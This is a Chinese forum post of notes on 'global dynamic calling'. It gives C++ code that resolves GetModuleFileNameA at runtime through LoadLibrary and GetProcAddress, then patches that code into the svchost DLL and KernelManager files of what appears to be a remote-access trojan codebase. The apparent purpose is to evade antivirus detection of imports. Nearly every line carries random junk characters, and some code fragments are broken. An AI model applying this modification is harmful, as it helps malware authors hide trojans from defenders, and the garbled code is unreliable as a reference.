[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记( y  P. D5 p, q$ u1 r
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' I+ \9 c1 O( {! O+ Z- o8 H
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9 f, z. ]( ^8 I# HDTDY.h：3 ~6 a5 j: @+ p5 b4 O
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#if _MSC_VER>1000
; Q3 \7 ?0 I+ {3 [#pragma once& b- U& ~. C4 A6 ~
#endif //_MSC_VER>1000/ s( |( H0 T2 B& P# ~: J. d
#include<windows.h>4 A6 r& x! Z: ^$ ~1 H
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
1 H) C) J5 j. `: s/ `- p: y! U$ pclass DTDY; r- c, s4 s1 t: A
{  P) Y* G- |( v. c- m
public:+ L" K' d6 ~: X5 n9 v, s& b: ]% p# G+ y
DTDY();
* H; j, Z4 _, [4 @3 O+ m7 Qvirtual ~DTDY();
' o0 }3 A+ h2 Ypublic:
& }& S, h8 y+ h) @% _static pGetModuleFileNameA MyGetModuleFileName;% ~3 i' K$ K, h1 w9 _
static BOOL FunInitiallization();: D& K: y$ T9 `4 ^
};, Z! p" ?, X( D( d; r" ^6 S* x+ r- Z
#endif
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DTDY.cpp:
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8 n- S3 I, C' ?' W: J! p+ w* c/ U) P#include "DTDY.h"
) M+ F  c/ `) D; B' ZpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;/ V: Y1 S& k' J6 x
DTDY:TDY()! `& V! I# I; H) I9 M0 T9 {- r4 G; g
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DTDY::~DTDY()8 z5 [4 l) g3 ^$ q
{
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BOOL DTDY::FunInitiallization()6 z5 W$ Z/ w) C5 B) \  P$ D; t
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HMODULE hModule=LoadLibrary("kernel32.dll");
0 p6 X" p: Y" Y2 J5 UMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");6 q" z( D$ |8 {: x/ `
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"3 d# X; u) R+ V( U
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
5 y( [% s8 U  b9 O4 U8 L) hif(!DTDY::FunInitiallization()) return FALSE;( N9 V& i, Y' R, g9 m- l6 ?4 F: V
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def" W& E/ k/ ^  d0 g  j# P
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));7 ~1 l% v& g1 |3 [2 \% I2 U
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. i, I; G0 n$ }9 `$ jKernelManager.cpp:
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#include "../DTDY.h": g! U, x- `. z) |& T* L
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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